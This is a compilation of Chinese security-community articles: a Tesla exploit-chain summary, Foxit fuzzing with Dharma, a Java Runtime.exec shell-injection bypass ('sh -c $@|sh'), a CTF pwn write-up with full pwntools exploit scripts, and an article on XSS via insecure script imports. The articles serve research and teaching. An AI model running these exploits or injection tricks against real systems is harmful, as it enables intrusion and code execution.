这个漏洞存在于对SVGTransformList元素的操作过程中。该元素内部存在多个SVGTransform实例，这些实例的SVGMatrix结构会存储在一个Vector里。当SVGTransformList的Initialize或clear方法被调用后，Vecotr被释放，但访问Vector中Matrix的指针仍然存留。利用该UAF漏洞，经过精心的内存布局之后，即可借助ArrayStorage、Uint32Array等结构的特性实现对内存的任意读和任意写，并从而实现了浏览器中的代码执行。
获取了浏览器的权限之后，下一步操作就是突破内核和其他安全防护措施对浏览器的限制，从而得到root
shell。2016年，我们是通过利用Linux内核中的一个漏洞实现该目的的，但在2017年，由于特斯拉修复了相当多的内核漏洞，我们不得不寻找新的漏洞。
在2017年的车机固件中，浏览器进程只能访问/dev/nvmap和/dev/nvhost-ctrl两个文件，这两个文件都是用来与英伟达Tegra芯片进行通信的驱动接口。在和这两个接口相关的代码中，我们发现了一处漏洞，该漏洞可使我们从用户空间对内核空间的任意内存地址减1。
这一漏洞存在于NVMap驱动中，当处理命令NVMAP_IOC_PIN_MULT时，由于对用户提供的指针数组验证不当，当其中包含一个非法结构时，非法结构体的引用数会被减1，而这个引用数的指针是用户态可控的。这意味着，用户态可以对内核态的任意内存地址减1。利用这一漏洞，结合Kernel中的其他gadget，我们可以对内核空间中的任意地址进行读写操作。之后对相关的syscall和AppArmor配置进行篡改，即可拥有root
shell。
得到root
shell证明CID已被完全攻破，下一个目标则是网关。2016年我们报告了网关上的一些设计缺陷，特斯拉在收到报告后对相关漏洞进行了修复，通过加入签名机制，对网关上的升级软件传输操作进行了限制，未签名的升级软件将不能被传输到网关上，因此理论上使用非物理攻击方法是无法传输篡改后的升级软件的。
但在对新软件进行安全审计的过程中，我们发现，升级过程中存在行为不一致的问题。如下图所示，尽管网关的文件传输协议限制了直接传输升级软件的操作，名为”boot.img”的升级软件无法直接传输到网关上，但文件系统的重命名行为和文件传输协议的重命名行为不一致。文件系统会忽略目标文件名首部的空格，导致目标文件名“\x20boot.img”会被文件系统理解为”boot.img”，从而绕过了升级软件对文件名的检查。
用这种方法刷入我们修改后的升级软件后，重启网关，使其执行升级软件，即可在网关上执行我们修改后的升级代码，植入后门，或绕过原有升级软件对固件签名的检查。
此外，我们还对整个OTA升级过程进行了研究。特斯拉的OTA升级过程大致可由下图所示的几个关键步骤描述。
云端通过特斯拉自有的握手协议下发固件下载地址后，特斯拉CID上的cid-updater会从云端下载固件，进行解密，并校验其完整性。之后通过类似于A/B
Update的方式，车内其他强运算力的联网组件（如IC、APE等）根据cid-updater提供的固件文件进行升级。
此外，cid-updater还会负责根据固件包中的目录信息，与车辆配置做比照，据此产生release.tgz文件，并和上文提到过的升级软件boot.img一同提供给网关，网关执行上述升级软件，更新在网关上连接的二十余个ECU。
为了展示我们对车电系统整体的理解，我们对特斯拉在2016年年末推出的彩蛋功能进行了自定义修改和展示。下图是彩蛋过程中几个重点参与活动的ECU：
首先，CID会发送启动信号，触发这一过程，信号会被发送至BCCEN，该控制器对相关硬件进行初始化操作后，会确认目前车辆是否准备好启动彩蛋，并等待钥匙的按键信号。按键后，CID开始播放音乐，同时BCCEN以及其他ECU会按照各ECU中存储的动作表，控制各组件按照预定计划动作。
因此为了实现自定义彩蛋功能，我们在CID中动态修改了多个检查点，并对ECU固件中的动作表进行了修改，将修改后的固件刷入了ECU中。
最后，作为对前沿技术的一个尝试，我们研究了ape-updater中的安全漏洞。该程序作为特斯拉OTA框架中的一部分，负责整个APE系统的更新。
该程序提供了两个业务端口，其中25974端口提供了一个交互式shell和多种命令，可供CID进行控制；28496端口可通过一个HTTP服务器提供其他组件需要的文件。
在25974端口提供的handshake命令中，会从服务器请求一个JSON字符串，并稍后提供给install命令解析。在某个特定版本的特斯拉APE固件中，我们发现了名为m3-factory-deploy的命令，该命令可覆盖handshake返回的JSON，从而让攻击者提供的JSON被解析。
利用JSON中存在的self_serve键值，可以要求APE将/var/etc/saccess/tesla1这一文件暴露在HTTP服务器下，从而可得到其内容。利用其为凭据，可通过25974端口得到ape-updater中自带的命令执行权限，可以重新开启SSH，并以root权限在APE上执行任意程序。
在上述所有漏洞报告给特斯拉后，特斯拉做出了及时的反应，其中包括：
* 修复Webkit漏洞
* 与英伟达共同修复NVMap中的内核漏洞
* 修复Gateway中的漏洞
我们还注意到特斯拉在其系统安全性上不断地进行改善与提高，比如：
* 更严格的iptables限制
* 对OTA框架中的几个关键程序进行进一步加固
* 降低saccess文件夹中token的权限
* 禁止系统降级
* ……
我们认为在这一过程中，特斯拉专业的安全响应团队和他们的OTA机制起到了关键的作用，防止了车主受到进一步的威胁。
由于篇幅所限，对相关漏洞我们只介绍了类型和核心原理，对我们的研究感兴趣的朋友可以查看我们发布的白皮书《穿云拨雾：对特斯拉汽车网关、车身控制模块以及辅助驾驶（Autopilot）ECU的渗透测试》获取更多信息。 | 社区文章 |
### 主要内容
大家好。 我是`Mat`，我是一名`fuzzing`的爱好者。
对于`fuzzing`，我渴望新版本的更新与漏洞的修补。我时刻期待着模糊工具使用者的详细报告。
Dharma是由Mozilla提供的基于迭代器的语法模糊器。 它允许用户定义一个被称为语法文件的模板。 但是如何用这个来进行下一步的操作呢？我们看下面。
为了实现这一目标，我们首先需要来看上一步操作。 在过去的几个月里，我的很多工作研究都集中在`Foxit Software`上。
在2018年，Foxit通过ZDI计划获得了发布公告的头条位置。
这不仅能帮助供应商加强应用程序的安全，而且能够帮助我们实时了解研究人员最近的有趣的技术发现。
让我们来看看`ZDI-18-1157`的概念。这是在`Foxit
Reader`在使用文档对象的`createIcon()`方法后紧接着使用，这种方法是由趋势科技研究员`Kamlapati Choubey`发现。
上述代码定义了数组`arg1`。之后，它为数组的第一个部分定义了一个`getter`，其带有一个执行`app.activeDoc [0]
.closeDoc()`的回调函数。值得注意的是`app.activeDoc [0]
.closeDoc()`会强制释放Doc对象。最后，系统调用`createIcon`，并将`arg1`作为第一个参数传递。`createIcon`函数遍历`arg1`，一旦它遍历arg1的元素，就会触发`getter`。
如果在上述过程中产生了系统崩溃，那么我们便可以看到`ECX`指向的一个被释放的堆对象被移动到`EAX`中，并立即在一个可执行远程代码中调用。
那么，使用这种概念验证，Dharma如何帮助我使用这种逻辑找到额外的错误？
首先，我们需要从语法文件开始。`Dharma`将用于生成`JavaScript`内容的“模板”。 我们来看一个基本模板：
基本模板由三个部分构成：值，变量和方差。 值部分用来构造我们将要模糊的逻辑格式。 如果需要利用动态变量，此处就是我们定义这些变量的地方。
最后，方差部分充当值的构建器，并且我们还将额外添加新的逻辑用以进行排列。对于这个例子，我们将主要关注其最有价值的部分。
让我们来看看Dharma的命令行参数。
看起来十分简洁。为了简单起见，我们将使用-`grammars`参数调用`Dhama`，它应该返回给我们以下信息：
我们通过定义`Dharma`用来打印“`hello`”，然后使用在 stuff中定义的值之一来填充空白。
现在，让我们开始构建吧。
作为基准，我将使用Adobe，并利用`Adobe Acrobat API
Reference`来帮助生成`Document`对象的`addField()`模板。选用此模板是因为这样非常简便。从利用这种方法进入程序时的提交数量来看，它足够灵活，对开始使用Dharma的我们来说这是一个很好的选择。为了读者阅读方便，我们今天的例子都十分简便易懂，但却能突出`Dharma`的闪光点。
根据API文档，`addField()`能接受四个参数并返回一个`Field`对象。
var foo = this.addField（cName，cFieldType，nPageNum，oCoords）
以下是Adobe文档中对这些参数的描述。
基于此，我们用`Dharma`构建了一个粗略的代码。
将此文件传递给Dharma将产生下面的结果：
接下来，我们只添加几个属性并将它们包含在`try/catch`块中。这可以解决我们生成的JavaScript问题，并能在发生错误时继续处理文档。然后，我们创建一个构建器，它将在所需的参数中调用`addField()`并尝试在返回的Field对象上设置属性。
将此扩展文件传递给Dharma将产生以下结果：
最后，我们需要将应用设计为免费。所以我们将修改应用的定义，如下所示：
同样重要的是，我们需要将自由变量指定为模板中的值。
将新的语法文件传递给Dharma后为我们提供了如下输出：
现在我们有了一个可用的语法文件。这个文件可以通过`Dharma`根据我们期望的内容生成JavaScript进行测试。接下来，我们将这些`JavaScript`文件嵌入到`PDF`中，最终将其输入`Foxit
Reader`。有几种工具可以帮助我们自动完成以上步骤， 就个人而言，我偏向于使用`Didier Stevens`的PDF工具。
测试工具加载完成后，让我们开始测试。
在几秒钟内，我们就会遇到第一次冲突。 一旦我们最小化POC，我们最终会得到以下信息：
[ZDI-18-1198](https://www.zerodayinitiative.com/advisories/ZDI-18-1198/)
浏览冲突内容，我们可以看到EBX引用了放入EAX的释放堆对象，然后EAX立即用于执行调用指令。
### 结论
Dharma是一个功能强大的基于语法的迭代模糊器。使用类似技术的不同模板可以帮助我们避免更多的bug，并将它们报告给Foxit，如`ZDI-18-1183`，`ZDI-18-1162`和`ZDI-18-1208`。
为了便于阅读，本示例中使用的语法文件只显示了部分内容，但其主体是相同的。 有了这样的工具，接下来你有什么看法？ 如果你有任何好的建议，请务必将其提交给我们！
本文为翻译稿件，稿件来源为：https://www.zerodayinitiative.com/blog/2019/1/31/implementing-fuzz-logics-with-dharma | 社区文章 |
# 奇淫技巧之突破Runtime.exec限制获取shell 命令执行环境
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 严正声明：本文仅限于技术讨论与学术学习研究之用，严禁用于其他用途（特别是非法用途，比如非授权攻击之类），否则自行承担后果，一切与作者和平台无关，如有发现不妥之处，请及时联系作者和平台
## 0x00. 前言
在一次内部安全测试中，碰到个java 站点，有一处任意代码执行漏洞，还可以回显，心理顿时美滋滋，但是当我执行稍微复杂点shell
命令的时候，发现回显明显不对，执行`ls -l /opt` 和 `ls -l /opt/ |grep tomcat` 两个命令输出结果完全一样，`grep`
完全没有生效，处于好奇，找到了相关开发，看了下漏洞问题出的源码，原来是参数没有过滤，直接丢进`Runtime.getRuntime().exec()`中执行了。虽然可以通过远程download
脚本直接都给`Runtime.exec()`执行绕过这个限制，但是出于好奇心，我google不少资料，查阅一番资料之后，终于找到了问题的原因，然后发现了个绕过限制的小技巧并获取完整的shell
执行命令环境，详文如下。
## 0x01. 先介绍线下Runtime类执行外部命令的方法介绍
要运行JVM中外的程序，`Runtime`类提供了如下方法：
简单解释如下:
`exec(String command)
在单独的进程中执行指定的字符串命令。
exec(String[] cmdarray)
在单独的进程中执行指定命令和变量。
exec(String[] cmdarray, String[] envp)
在指定环境的独立进程中执行指定命令和变量。
exec(String[] cmdarray, String[] envp, File dir)
在指定环境和工作目录的独立进程中执行指定的命令和变量。
exec(String command, String[] envp)
在指定环境的单独进程中执行指定的字符串命令。
exec(String command, String[] envp, File dir)
在有指定环境和工作目录的独立进程中执行指定的字符串命令。`
0x00. 中涉及的案例的环境就是第一个`exec(String command)`
，直接执行外部传进来的命令字符串，`Runtime.getRuntime().exec()`
执行外部命令的原理就是fork一个单独的进程，然后直接执行这个命令。`exec(String
command)`这个方法是没法指定shell为命令上下文环境，所以这也就解释了为啥
`ls -l /opt` 和 `ls -l /opt |grep tomtcat` 结果一样
因为 `|` 是shell环境下的管道命令，只有shell的执行上下文环境才识别，直接fork进程执行ls 命令是不识别
`|`、`>`重定向等shell中的复杂命令
如何突破exec() 无shell上下文执行环境限制获取完整shell执行环境呢，0x02 或有详细演示与分析
## 0x02. 突破限制之旅
我现在没了内部系统的那个测试环境，自己写了个演示代码，如下：
### 1、演示代码
执行`javac Test.java` 进行编译就可以了
### 2、演示分析 ls -l /opt与ls -l /opt |grep anquanke 为啥结果一样
1） 执行 `ls -l /opt`
2) 执行 `ls -l /opt |grep anquanke`
提示 当前目录中文件或目录：|grep 不存在
提示 当前目录下文件或目录：anquanke 不存在
为啥会这样呢？
这是因为`Runtime.exec`对传入的字符串是按照空格进行参数区分的，在这里
`|grep` 、`anquanke` 都被认为是文件或者目录，这里没有shell 上下文环境，管道命令 |是无法识别的
**注：** 这里要补充说明下，为啥`ls -l /opt |grep
anquanke`会打印错误信息，因为代码就也把错误信息打印出来了，如果把错误信息去掉，那么两个命令执行结果就一样了
### 3、第一次突破尝试
既然`Runtime.exec()`无shell上下文环境，那么我调用sh -c 用sh直接执行命令，这下总可以了吧
1）执行 `java Test 'sh -c /usr/bin/ls -l /opt |grep anquanke'`
但是上图的执行结果直接显示当前目录的内容，而不是`/opt` 目录下的
这是为啥？
`sh -c` 根据空格进行区分要执行的命令，如上图，执行的命令就是`/usr/bin/ls`,后面的参数都会被忽略(因为
`-l`、`/opt`、`|grep` 、`anquanke`都被认为是sh的参数)，要想让后面的 `-l` 之类参数也被识别，那就用引号括起来，如下
2）执行`java Test 'sh -c "/usr/bin/ls -l /opt |grep anquanke"'`
我用引号将传递给sh 执行的命令括起来了啊，为啥还是报错呢？
这是因为`Rntime.exec()` 区分命令的依据是空格, 上面的命令传递给`Runtime.exec`后相当于相当于:
`sh -c '"/usr/bin/ls' '-l' '/opt|grep' 'anquanke'`
这就明白为啥会报错了吧
### 4、第二次尝试突破限制，获取完整shell执行环境
上面的突破之所以失败，是因为受限于`Runtime.exec` 依据空格划分参数的规则，sh -c
有时候不能直接执行复杂的命令，于是想到可以用管道传递给sh自身然后间接执行复杂命令嘛
于是有了下面的突破命令：
`java Test 'sh -c $@|sh 0 echo /usr/bin/ls -l /opt|grep anquanke'`
解释下为啥这样就行
`sh -c $@|sh 0 echo /usr/bin/ls -l /opt|grep anquanke`
这个命令字符串传给`Runtime.exec()`之后，按照`Runtime.exec` 依据空格划分参数的规则，命令就变成：
`sh -c '$@|sh' '0' 'echo' '/usr/bin/ls' '-l' '/opt|grep' 'anquanke'`
就相当于：
这个要补充下知识点了： `sh -c 'command' x1 x2 x3`
x1 被认为是脚本名称，相当于$0, x2、x3 相当于 $1、$2
命令 `sh -c '$@|sh' 0 echo /usr/bin/ls -l /opt|grep anquanke`
中的 0 可以换成任意名称 ，比如xx:
`sh -c '$@|sh' xx echo /usr/bin/ls -l /opt|grep anquanke`
在shell 语法中 $@ 表示所有传递过来的位置参数，不包括$0, $0代表脚本名称
所以`sh -c $@|sh xx echo /usr/bin/ls -l /opt|grep anquanke`
这里的$@ 就相当于 `echo /usr/bin/ls -l /opt|grep anquanke`
最终就相当于执行如下命令
`sh -c 'echo "/usr/bin/ls -l /opt|grep anquanke"|sh'`
### 5、搞个shell吧，不然这样收尾稍显突兀
## 0x03. 总结
分析完就一个字爽, 学到了不少东东哈哈
## 0x04. 参考资料
<http://hg.openjdk.java.net/jdk7/jdk7/jdk/file/tip/src/solaris/classes/java/lang/UNIXProcess.java.linux>
<https://www.jianshu.com/p/af4b3264bc5d> | 社区文章 |
# 强网杯部分pwn题writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 babymessage
### 0x01 考点
栈溢出，RBP覆盖
通过改变rbp 来改变上级程序的局部变量
### 0x02 漏洞点
__int64 __fastcall leave_message(unsigned int a1)
{
int v1; // ST14_4
__int64 v3; // [rsp+18h] [rbp-8h]
puts("message: ");
v1 = read(0, &v3, a1); //这里a1可控，当a1值够大时，就发生栈溢出
strncpy(buf, (const char *)&v3, v1);
buf[v1] = 0;
puts("done!\n");
}
### 0x03 利用思路
1. 初始状态时，v1=16，只能覆盖到RBP
2. 覆盖RBP到可控区域，从而回到主程序main后会影响局部变量。
3. 从而控制v1使其变得很大，然后再来完成栈溢出，完成ROP操作。
### 0x04 坑点
1. 测试过程中发现回到`elf.symbols["main"]`会出错，也没去查为什么，直接通过栈迁移，在一次溢出中完成泄露地址及利用。
2. system函数执行`/bin/sh`有问题，最后换成`execve`函数
### 0x05 payload
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
FILENAME = "./babymessage"
#io = process(FILENAME)
io = remote("123.56.170.202", 21342)
elf = ELF(FILENAME)
#libc = elf.libc
libc = ELF("./libc-2.27.so")
def leave_name(name):
io.sendlineafter("choice: \n","1")
io.sendafter("name: \n",name)
def leave_message(message):
io.sendlineafter("choice: \n","2")
io.sendlineafter("message: \n",message)
def show_message():
io.sendlineafter("choice: \n","3")
def exit_game():
io.sendlineafter("choice: \n","4")
leave_name("\x00\x80")
name_addr = 0x06010D0
payload = flat([
"b"*8,
name_addr+0x5
])
leave_message(payload)
show_message()
#0x0000000000400ac3 : pop rdi ; ret
#0x0000000000400ac1 : pop rsi ; pop r15 ; ret
#0x0000000000400886 : leave ; ret
pop_rsi_r15_ret = 0x0000000000400ac1
pop_rdi_ret = 0x0000000000400ac3
leave_ret = 0x0000000000400886
payload2 = flat([
"b"*8,
elf.bss(0),
pop_rdi_ret,
elf.got["puts"],
elf.plt["puts"],
pop_rdi_ret,
0,
pop_rsi_r15_ret,
elf.bss(0),0,
elf.plt["read"],
leave_ret
])
print(pidof(io))
pause()
leave_message(payload2)
io.recvuntil("done!\n\n")
puts_addr = u64(io.recvuntil("\n",drop=True).ljust(8,b"\x00"))
log.info("[*]puts_addr: "+hex(puts_addr))
libc_base = puts_addr - libc.symbols["puts"]
log.info("[*]libc_base: "+hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
binsh_addr = elf.bss(0x0)
execve_addr = libc_base + libc.symbols["execve"]
log.info("[*]system_addr: "+hex(system_addr))
log.info("[*]binsh_addr: "+hex(binsh_addr))
payload = flat([
"/bin/sh\x00",
pop_rdi_ret,
binsh_addr,
pop_rsi_r15_ret,
0,0,
execve_addr
])
io.sendline(payload)
io.interactive()
## 0x02 siri
### 1.考点
FMT
### 2.漏洞点
signed __int64 __fastcall sub_1212(const char *a1)
{
char *v2; // [rsp+18h] [rbp-128h]
char s; // [rsp+20h] [rbp-120h]
unsigned __int64 v4; // [rsp+138h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = strstr(a1, "Remind me to ");
if ( !v2 )
return 0LL;
memset(&s, 0, 0x110uLL);
sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 13);
printf(&s); //FMT
puts(&::s);
return 1LL;
}
### 3\. 利用思路
1. 程序保护全开，先利用栈上的返回地址及RBP地址，泄露栈地址及程序基址
2. 利用FMT泄露，got表地址，获得libc
3. 利用FMT覆盖返回地址为one_gadget
4. 这里改写地址时，会先sprintf将不可见字符去掉，但是我们输入到字符串a1，在栈上，这时候只需要调整FMT的offset即可。
### 4.payload
from pwn import *
context.log_level = "info"
context.arch = "amd64"
FILENAME = "./Siri"
#io = process(FILENAME)
io = remote("123.56.170.202", 12124)
elf = ELF(FILENAME)
libc = elf.libc
def leak_addr(addr):
io.sendlineafter(">>> ","Hey Siri!")
payload = flat([
"Remind me to ",
"a"*5,
"%{offset}$s".format(offset = 0x9 + 6).rjust(8,"b"),
addr
])
io.sendlineafter(">>> ",payload)
io.recvuntil("OK, I'll remind you to aaaaabbb")
addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))
log.info("[+]leak_addr: "+hex(addr))
return addr
def set_addr(addr,value):
io.sendlineafter(">>> ","Hey Siri!")
payload = b"Remind me to " + b"aaa" + fmtstr_payload(0x35 + 6 - 9,{addr: value},numbwritten = 16 + 14)
print(payload)
io.sendlineafter(">>> ",payload)
def leak():
io.sendlineafter(">>> ","Hey Siri!")
payload = flat([
"Remind me to ",
"a"*5,
"%{offset}$p".format(offset = 0x29 + 6)
])
io.sendlineafter(">>> ",payload)
io.recvuntil("OK, I'll remind you to aaaaa")
ret_addr = int(io.recvuntil("\n",drop=True),16)
log.info("[+]ret_addr: "+hex(ret_addr))
prom_base = ret_addr - 0x144c
log.info("[+]prom_base: "+hex(prom_base))
io.sendlineafter(">>> ","Hey Siri!")
payload = flat([
"Remind me to ",
"a"*5,
"%{offset}$p".format(offset = 0x28 + 6)
])
io.sendlineafter(">>> ",payload)
io.recvuntil("OK, I'll remind you to aaaaa")
rbp_addr = int(io.recvuntil("\n",drop=True),16)
log.info("[+]rbp_addr: "+hex(rbp_addr))
return prom_base,rbp_addr,ret_addr
prom_base,rbp_addr,ret_addr = leak()
libc_addr = leak_addr(prom_base + elf.got["puts"]) - 0x80a30
log.info("[+]libc_addr: "+hex(libc_addr))
one = [0x4f365,0x4f3c2,0x10a45c]
one_addr = libc_addr + one[0]
log.info("[+]one_addr: "+hex(one_addr))
print(pidof(io))
pause()
set_addr(rbp_addr - 0x118 ,one_addr)
io.interactive()
## 0x03 Just_a_Galgame
### 0x01 考点
house of orange
### 0x02 漏洞点
1. 数组越界
2. 刚好覆盖下一个堆的size字段。
### 0x03 利用思路
1. 程序没有free，这就利用`house of orange`
2. 程序设计的就刚好可以利用`house of orange`构造出`unsorted_bin`,泄露出`libc`
3. 再利用程序设计的，bye的功能及数组越界，完成任意地址写，改写`_malloc_hook`为`one_gadget`
### 0x04 payload
from pwn import *
context.log_level = "info"
context.arch = "amd64"
FILENAME = "./Just_a_Galgame"
#io = process(FILENAME)
io = remote("123.56.170.202",52114)
elf = ELF(FILENAME)
#libc = elf.libc
libc = ELF("./libc-2.27.so")
def gift():
io.sendlineafter(">> ","1")
def movie(index,name):
io.sendlineafter(">> ","2")
io.sendlineafter("idx >> ",str(index))
io.sendafter("movie name >> ",name)
def confess():
io.sendlineafter(">> ","3")
def collection():
io.sendlineafter(">> ","4")
def leave(message):
io.sendlineafter(">> ","5")
io.sendafter("Hotaru: Won't you stay with me for a while? QAQ\n\n",message)
gift()
movie(0,p64(0x0) + p64(0xd41))
print(pidof(io))
confess()
gift()
gift()
collection()
io.recvuntil("2: ")
main_arean = u64(io.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 96
log.info("[+]main_arean: " + hex(main_arean))
libc_base = main_arean - 0x3ebc40
log.info("[+]libc_base: " + hex(libc_base))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one = [0x4f365,0x4f3c2,0x10a45c]
one_addr = libc_base + one[1]
leave(p64(malloc_hook - 0x60))
movie(8,p64(one_addr)+p64(one_addr))
gift()
io.interactive()
## 0x04 easypwn
### 0x01 考点
1. `off by one`
2. `unsorted_bin attack`
3. `fastbin_attack`
4. `House of Roman`
5. 改写`__IO_2_1_stdout_`完成任意地址读，泄露libc
### 0x02 漏洞点
if ( a2 - 1 == v5 )
{
buf = 0;
*(a1 + ++i) = 0; //这里会多输入一个\x00
return __readfsqword(0x28u) ^ v6;
}
### 0x03 坑点
1. 程序没有show功能，需要改写IO
2. 程序开始时，调用了`mallopt`,使得`global_max_fast = 0x10`，相当于禁用了fastbin。
if ( !mallopt(1, 0) )
exit(-1);
### 0x04 利用思路
**0x01 step1**
利用`off by one`的漏洞，完成两个指针，指向同一块`trunk`，要利用2次，获取两个这样到trunk。简单的讲下利用过程
add(0x88) #1
add(0x68) #2
add(0xf8) #3 //先申请上述三个trunk
free(1)
edit(2,"a"*0x60+p64(0x100)) //修改了prev_trunk_size = 0x100 = size1 + siz2,利用off by one，修改了prev_inuse = 0
free(3) //这时候会触发unlink，系统会认定，1-3trunk都是空闲的，都回收到unsorted_bin
add(0x88) #1
add(0x68) #3 //取到的3号trunk就会与2号trunk重叠，获取到，完成两个指针，指向同一块trunk
**0x02 step2**
利用`unsorted_bin attack`覆盖掉bk的值，使其成为`target_addr -0x10`,完成攻击后，会使`target_addr`变得很大，利用这个攻击，去修改`global_max_fast`的值，为下面利用fastbin攻击创造条件。
**[注：这里利用main_arena+88的高地址，爆破出global_max_fast的地址，概率为1/16]**
**0x03 step3**
利用`House of
Roman`的想法，先构造一个fastbin链，再修改链上的值，使其指向其他bin。这里注意，尽量将修改前的bins和修改后的bins只做到最后一位不一样，这样可以减少爆破的概率。
**[注： 之前未对这个做处理，发现爆破成功的概率为1/(16*16*16),处理后成功到概率为1/(16*16)]**
**0x04 step4**
构造好fastbin链后，利用之前的`main_arena+88`的高地址，爆破得到`_IO_2_1_stdout_-0x43`的地址，构造一个0x70大小的fastbins。
**0x05 step5**
通过修改获得的fastbins，来修改`_IO_2_1_stdout_`的值，使其为`"\x00"*0x33+p64(0xfbad3887)+p64(0)*3+"\x40"`这里我们修改了，`_IO_write_base`,使其不等于`_IO_write_ptr`，这样`_IO_write_base`和`_IO_write_ptr`之间的数据就会被泄露出来。
**0x06 step6**
获取到libc地址，那么接下来就简单了，再利用一次`House of
Roman`的攻击方法，或者利用`double_free`,将`__malloc_hook_`改写为`one_gadget`，就完成了利用。
### 0x05 payload
from pwn import *
context.log_level = "info"
FILENAME = "./easypwn"
#io = process(FILENAME)
#elf = ELF(FILENAME)
#libc = elf.libc
libc = ELF("./libc-easypwn.so")
def add(size):
io.sendlineafter("Your choice:\n","1")
io.sendlineafter("size:\n",str(size))
def edit(index,content):
io.sendlineafter("Your choice:\n","2")
io.sendlineafter("idx:\n",str(index))
io.sendafter("content:\n",content)
def free(index):
io.sendlineafter("Your choice:\n","3")
io.sendlineafter("idx:\n",str(index))
def pwn():
# 2 = 3
add(0x68) #0
add(0x88) #1
add(0x68) #2
add(0xf8) #3
add(0x68) #4
add(0x68) #5
add(0x88) #6
add(0x68) #7
add(0xf8) #8
add(0x68) #9
add(0x68) #10
free(1)
edit(2,"a"*0x60+p64(0x100))
free(3)
add(0x88) #1
add(0x68) #3
add(0x68) #11
add(0x88) #12
# 8= 7
free(6)
edit(7,"a"*0x60+p64(0x100))
free(8)
add(0x88) #6
add(0x68) #8
add(0xf8) #13
# fastbin_max = 0x7f
free(5)
free(3)
edit(2,p64(0)+"\xe8\x37"+"\n")
add(0x68) #3
add(0x68) #5 5=2
free(3)
log.info("[+]good_job_1!")
free(11)
free(7)
log.info("[+]good_job_2!")
edit(8,"\x00" + "\n")
edit(2,"\xdd\x25" + "\n")
log.info("[+]good_job_3!")
add(0x68) #3
add(0x68) #7
add(0x68) #11
edit(11,"\x00"*0x33+p64(0xfbad3887)+p64(0)*3+"\x40"+"\n")
libc_addr = u64(io.recvuntil("\x7f").ljust(8,"\x00")) - 0x3c5640
log.info("[+]libc_addr: "+hex(libc_addr))
#one = [0x45216,0x4526a,0xf02a4,0xf1147] #local
one = [0x45226,0x4527a,0xf0364,0xf1207] #remote
one_addr = libc_addr + one[2]
malloc_addr = libc_addr + libc.symbols["__malloc_hook"]
free(2)
free(10)
free(5)
add(0x68) #2
edit(2,p64(malloc_addr-0x23)+"\n")
add(0x68) #5
add(0x68) #10
add(0x68) #14
edit(14,"\x00"*3+p64(0)+p64(one_addr)*2+"\n")
add(0x28)
io.interactive()
for i in range(70):
try:
#io = process(FILENAME)
#io = process(FILENAME,env={"LD_PRELOAD":"./libc-easypwn.so"})
io = remote("39.101.184.181",10000)
pwn()
except:
pass | 社区文章 |
原文：[《Cross-Site Scripting #3 Bad JavaScript
Imports》](http://blog.securelayer7.net/owasp-top-10-cross-site-scripting-3-bad-javascript-imports/ "《Cross-Site Scripting #3 Bad JavaScript
Imports》")
译者：[Twosecurity](https://zhuanlan.zhihu.com/p/29016122 "Twosecurity")
在这篇文章里，我们将换一个姿势利用 XSS。通常来讲，XSS 是由程序对输入缺乏合理的过滤而产生的。但在这篇文章里，我会展示如何在正确过滤 XSS
的网站中利用 XSS。它和常规攻击手段类似，我们也可以用它来偷 cookie 或者钓鱼。不过在之前，我们先来讲解一下跨域资源共享技术。
#### 跨域资源共享
跨域资源能够提供浏览器更好的用户体验。通过它，我们可以在一个网站上访问到不属于它域下的资源（比如图像，javascript，以及其它数据）。打个比方：
<http://example.com> 有如下跨域资源：
* 通过 XMLHttpRequest 请求<http://securelayer7.net>已登陆用户的数据
* 用`<iframe src>`标签包含<http://youtube.com>
* 用`<img src>`请求<http://imgur.com>的图片
* 用`<script src>`请求<https://code.jquery.com/jquery-1.8.1.min.js>取得的javascript库
#### 为什么要引用脚本，而不是直接内联？
当许多网站同时引用`<script
src=”https://code.jquery.com/jquery-1.8.1.min.js”></script>`时，浏览器只需加载一次，便可以将其载入缓存方便不同网站对其的调用。
为什么我们又需要加载外部的javascript库呢？答案很简单，方便开发。在 jQuery
中，我们只需短短的一句，就可以改变背景颜色：`$(‘body’).css('background', '#ccc');`
如果直接用原生 JavaScript 操作 DOM 的话，我们就得：
Function changeBachground(color) {
Document.body.style.background = color;
}
Onload="changeBackground('red');" //某个事件
#### 由 javascript 引用而导致的漏洞
由于控制权的缺失，加载第三方控制的脚本有十分严重的安全隐患。第三方网站的站长有可能在脚本中插入恶意代码。或者网站自身有漏洞而被攻击者所控制，最终导致攻击者篡改其提供的脚本。
#### 攻击从本地加载的脚本
假设在一个开发环境中，工程师用`<script
src="http://127.0.0.1:4545/import.js"></script>`加载本地Web服务器上的资源。如果在发布该应用时没有移除这个语句，那么攻击者可以使用如下手段来攻击目标：
* 登陆运行该应用的电脑（物理渗透，SSRF）
* 用一个 Web 服务器监听本地4545端口，并返回恶意js。
* 目标在该电脑上开启浏览器，进入这个程序
* 浏览器加载恶意 JavaScript，导致XSS
#### 攻击从局域网加载的脚本
继续假设一个开发环境，开发者用脚本来加载内部服务器的资源：`<script
src="http://192.168.0.111/import.js"></script>`。这时候，攻击者也可以按照类似攻击本地资源的手法插入恶意脚本，只不过需要锁定一个ip罢了（SSRF，内网渗透，物理渗透）。
#### 源于未注册域名的脚本
很多时候，工程师会在host文件中加入自定义的域名。这样一来省钱，二来不用部署。或者有些已经注册的域名忘记续费而过期了，如果发布时碰巧忘记移除它（比如`<script
src="https://securelayer7.net/import.js"></script>`）。那么攻击者便有机可乘了：
* 注册<http://securelayer7.net>并返回import.js
* 用户浏览时会加载我们的恶意脚本
#### 加载动态 ip 的脚本
开发者很有可能会犯将 ip 设为动态这种低级错误。我们只需想办法获取该 ip 地址的控制权（思路也和内网类似），便可以攻击目标了。
#### 因为输入加载错误的域名
很多时候，开发者会漏打或者错打域名（比方说：`<script
src="https://code.jqueri.com/import.js"></script>`）我们可以趁机注册该域名并返回恶意代码
#### 从一个运行 HTTP 的服务器加载脚本
如果一个脚本是用HTTP（不是HTTPS）传输的，那么我们可以用中间人攻击（arp攻击，icmp攻击）来篡改脚本并在其中注入内容。
#### 防护措施
* 从本地或者内网 ip 加载的脚本都要被替换成其它安全位置的脚本
